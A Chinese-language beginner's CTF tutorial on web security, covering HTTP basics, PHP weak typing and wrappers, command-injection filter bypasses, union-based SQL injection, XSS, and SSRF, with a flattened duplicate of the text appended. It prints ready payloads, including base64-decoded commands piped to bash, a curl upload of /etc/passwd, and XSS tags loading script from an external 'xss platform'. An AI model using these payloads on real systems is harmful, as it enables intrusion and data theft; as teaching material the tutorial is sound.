CTF实战入门
字数 2853 2025-08-19 12:41:40

CTF实战入门教学文档

一、Web基础

HTTP请求方法

  • GET:获取服务器资源
  • POST:发送数据,常用于更新资源
  • PUT:新增数据记录
  • PATCH:修改数据记录
  • DELETE:删除数据记录
  • HEAD:判断资源是否存在
  • OPTIONS:获取资源约束信息

HTTP请求头分析

  • Referer:请求来源页面
  • User-Agent (UA头):包含操作系统、浏览器等信息
    • 用于设备适配或访问控制

HTTP响应状态码

状态码 含义
101 协议切换(如HTTP→Websocket)
200 请求成功
201 资源创建成功(PUT响应)
204 无内容返回(网络检测)
301 永久重定向
302 临时重定向
404 资源不存在
405 方法不被允许
500 服务器内部错误
502 网关错误(后端不可达)
504 网关超时

URL结构分析

https://url/read-6951.html?a=1&b=2#tag5
  • scheme:协议(HTTP/HTTPS/FTP)
  • userinfo:认证信息(用户名:密码)
  • host:服务器地址/域名/IP
  • port:端口(HTTP:80, HTTPS:443)
  • path:资源路径(/read-6951.html)
  • query:请求参数(a=1&b=2)
  • fragment:页面锚点(不被发送到服务器)

HTTP响应头

  • Set-Cookie:服务器设置客户端凭证

实战案例:本地访问限制绕过

  1. 使用X-Forwarded-ForX-Client-IpX-Real-Ip等头伪造IP
  2. 构造请求获取关键信息(如用户名密码)

目录扫描工具Dirsearch

python dirsearch.py -u https://url -e * -w /path/to/dictionary.txt
  • -u:目标URL
  • -e:扩展名(*为通配符)
  • -w:字典路径

二、PHP安全

弱类型漏洞

原理

  • 不同类型可相互转换
  • 转换规则:
    1. 能转换则转换('1test'→1)
    2. 同类型可转换则转换('1'和'01'→1和1)
    3. 同类型不可转换则字符串比较('a'和'1a')

MD5/HASH漏洞利用

条件

  1. MD5(值)结果为"0e"开头
  2. "0e"后全为数字
  3. 使用弱比较(==)

示例
0e123 == 0e234 → true(科学计数法)

PHP伪协议

常用协议

  • php://filter:文件包含时编码输出
  • data://:直接包含数据

payload示例

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

代码执行函数

  1. eval():执行PHP代码
  2. assert():直接执行输入为代码
  3. array_map():回调函数执行
  4. 动态函数调用$_GET['method']()

正则替换漏洞

preg_replace('/('.$re.')/ei', 'strtolower("\\1")', $str);
  • e修饰符:替换部分作为PHP代码执行

payload构造

?\S*=${getFlag()}&cmd=system('ls /');

反序列化漏洞

关键函数

  • serialize():序列化对象
  • unserialize():反序列化
  • __wakeup():反序列化时调用
  • __destruct():对象销毁时调用

利用步骤

  1. 构造恶意序列化数据
  2. 触发反序列化
  3. 利用魔术方法执行代码

三、常见Web漏洞

命令执行绕过技巧

  1. 空格过滤绕过

    • %09(tab)
    • %0a(换行)
    • ${IFS}
    • $IFS$9
  2. 关键字过滤绕过

    • 替代命令:tacmore
    • 引号分割:ca"tca""tca\t
    • 十六进制:$(printf "\x6c\x73")(等于ls)
    • Base64编码:echo Y2F0IGluZGV4LnBocA==|base64 -d|bash
    • 通配符:cat fl?gcat f*
    • 变量拼接:a=c;b=at;$a$b

SQL注入

关键知识点

  1. information_schema数据库:

    • schemataschema_name(数据库名)
    • tablestable_schematable_name
    • columnstable_schematable_namecolumn_name
  2. 字符串拼接函数

    • concat():行数据拼接
    • group_concat():列数据拼接
  3. 报错注入函数

    and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)
    
    • 参数1:无效XML文档(触发错误)
    • 参数2:XPath表达式(含注入payload)
    • 参数3:无效更新内容(触发错误)

注入步骤

  1. 判断列数:order by
  2. 获取数据库名
  3. 获取表名
  4. 获取列名
  5. 获取数据

XSS漏洞

类型

  1. 反射型:参数控制输出
  2. 存储型:恶意代码存入数据库
  3. DOM型:用户输入作为JS执行

HTML事件利用

  • onerror:资源加载失败
  • onload:资源加载完成
  • onmouseover:鼠标悬停
  • onfocus:元素获取焦点

绕过技巧

  1. 大小写混合<sCRiPt>
  2. 注释分割/**/<script>
  3. 编码绕过:十六进制/Base64

SSRF漏洞

危险函数

  • file_get_contents()
  • readfile()
  • fsockopen()

危险协议

  • file://:读取文件
  • gopher://:多种协议封装
  • dict://:字典协议

利用步骤

  1. 验证SSRF存在
  2. 读取/etc/hosts获取内网IP段
  3. 扫描内网主机和端口
  4. 构造针对性攻击

curl命令使用

# GET请求
curl http://example.com

# POST请求
curl -X POST -d "data=value" http://example.com

# 文件上传
curl -F "f=@/etc/passwd" http://example.com/upload.php

四、实战案例解析

1. 本地访问限制绕过

步骤

  1. 使用X-Forwarded-For头伪造IP
  2. 获取关键凭证信息

2. 文件包含漏洞

payload

?file=php://filter/convert.base64-encode/resource=index.php

3. 命令执行绕过

payload

cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`

4. SQL注入

payload序列

  1. 判断列数:?id=1 order by 2
  2. 获取数据库名:?id=-1 union select group_concat(schema_name),2 from information_schema.schemata
  3. 获取表名:?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='database'
  4. 获取列名:?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='table'
  5. 获取数据:?id=-1 union select column,1 from table

5. XSS攻击

反射型payload

?name=</tEXtArEa>'"><sCRiPt sRC=//xss平台></sCrIpT>

DOM型payload

';</scirpt><script sRC=//xss平台>//

6. SSRF利用

文件读取

?url=file:///var/www/html/flag.php

内网扫描
使用Burp Suite Intruder模块扫描8000-9000端口

CTF实战入门教学文档 一、Web基础 HTTP请求方法 GET :获取服务器资源 POST :发送数据,常用于更新资源 PUT :新增数据记录 PATCH :修改数据记录 DELETE :删除数据记录 HEAD :判断资源是否存在 OPTIONS :获取资源约束信息 HTTP请求头分析 Referer :请求来源页面 User-Agent (UA头) :包含操作系统、浏览器等信息 用于设备适配或访问控制 HTTP响应状态码 | 状态码 | 含义 | |--------|------| | 101 | 协议切换(如HTTP→Websocket) | | 200 | 请求成功 | | 201 | 资源创建成功(PUT响应) | | 204 | 无内容返回(网络检测) | | 301 | 永久重定向 | | 302 | 临时重定向 | | 404 | 资源不存在 | | 405 | 方法不被允许 | | 500 | 服务器内部错误 | | 502 | 网关错误(后端不可达) | | 504 | 网关超时 | URL结构分析 scheme :协议(HTTP/HTTPS/FTP) userinfo :认证信息(用户名:密码) host :服务器地址/域名/IP port :端口(HTTP:80, HTTPS:443) path :资源路径(/read-6951.html) query :请求参数(a=1&b=2) fragment :页面锚点(不被发送到服务器) HTTP响应头 Set-Cookie :服务器设置客户端凭证 实战案例:本地访问限制绕过 使用 X-Forwarded-For 、 X-Client-Ip 、 X-Real-Ip 等头伪造IP 构造请求获取关键信息(如用户名密码) 目录扫描工具Dirsearch -u :目标URL -e :扩展名(* 为通配符) -w :字典路径 二、PHP安全 弱类型漏洞 原理 : 不同类型可相互转换 转换规则: 能转换则转换('1test'→1) 同类型可转换则转换('1'和'01'→1和1) 同类型不可转换则字符串比较('a'和'1a') MD5/HASH漏洞利用 条件 : MD5(值)结果为"0e"开头 "0e"后全为数字 使用弱比较(==) 示例 : 0e123 == 0e234 → true(科学计数法) PHP伪协议 常用协议 : php://filter :文件包含时编码输出 data:// :直接包含数据 payload示例 : 代码执行函数 eval() :执行PHP代码 assert() :直接执行输入为代码 array_ map() :回调函数执行 动态函数调用 : $_GET['method']() 正则替换漏洞 : e 修饰符:替换部分作为PHP代码执行 payload构造 : 反序列化漏洞 关键函数 : serialize() :序列化对象 unserialize() :反序列化 __wakeup() :反序列化时调用 __destruct() :对象销毁时调用 利用步骤 : 构造恶意序列化数据 触发反序列化 利用魔术方法执行代码 三、常见Web漏洞 命令执行绕过技巧 空格过滤绕过 : %09 (tab) %0a (换行) ${IFS} $IFS$9 关键字过滤绕过 : 替代命令: tac 、 more 等 引号分割: ca"t 、 ca""t 、 ca\t 十六进制: $(printf "\x6c\x73") (等于ls) Base64编码: echo Y2F0IGluZGV4LnBocA==|base64 -d|bash 通配符: cat fl?g 、 cat f* 变量拼接: a=c;b=at;$a$b SQL注入 关键知识点 : information_ schema 数据库: schemata : schema_name (数据库名) tables : table_schema 、 table_name columns : table_schema 、 table_name 、 column_name 字符串拼接函数 : concat() :行数据拼接 group_concat() :列数据拼接 报错注入函数 : 参数1:无效XML文档(触发错误) 参数2:XPath表达式(含注入payload) 参数3:无效更新内容(触发错误) 注入步骤 : 判断列数: order by 获取数据库名 获取表名 获取列名 获取数据 XSS漏洞 类型 : 反射型 :参数控制输出 存储型 :恶意代码存入数据库 DOM型 :用户输入作为JS执行 HTML事件利用 : onerror :资源加载失败 onload :资源加载完成 onmouseover :鼠标悬停 onfocus :元素获取焦点 绕过技巧 : 大小写混合 : <sCRiPt> 注释分割 : /**/<script> 编码绕过 :十六进制/Base64 SSRF漏洞 危险函数 : file_get_contents() readfile() fsockopen() 危险协议 : file:// :读取文件 gopher:// :多种协议封装 dict:// :字典协议 利用步骤 : 验证SSRF存在 读取 /etc/hosts 获取内网IP段 扫描内网主机和端口 构造针对性攻击 curl命令使用 : 四、实战案例解析 1. 本地访问限制绕过 步骤 : 使用 X-Forwarded-For 头伪造IP 获取关键凭证信息 2. 文件包含漏洞 payload : 3. 命令执行绕过 payload : 4. SQL注入 payload序列 : 判断列数: ?id=1 order by 2 获取数据库名: ?id=-1 union select group_concat(schema_name),2 from information_schema.schemata 获取表名: ?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='database' 获取列名: ?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='table' 获取数据: ?id=-1 union select column,1 from table 5. XSS攻击 反射型payload : DOM型payload : 6. SSRF利用 文件读取 : 内网扫描 : 使用Burp Suite Intruder模块扫描8000-9000端口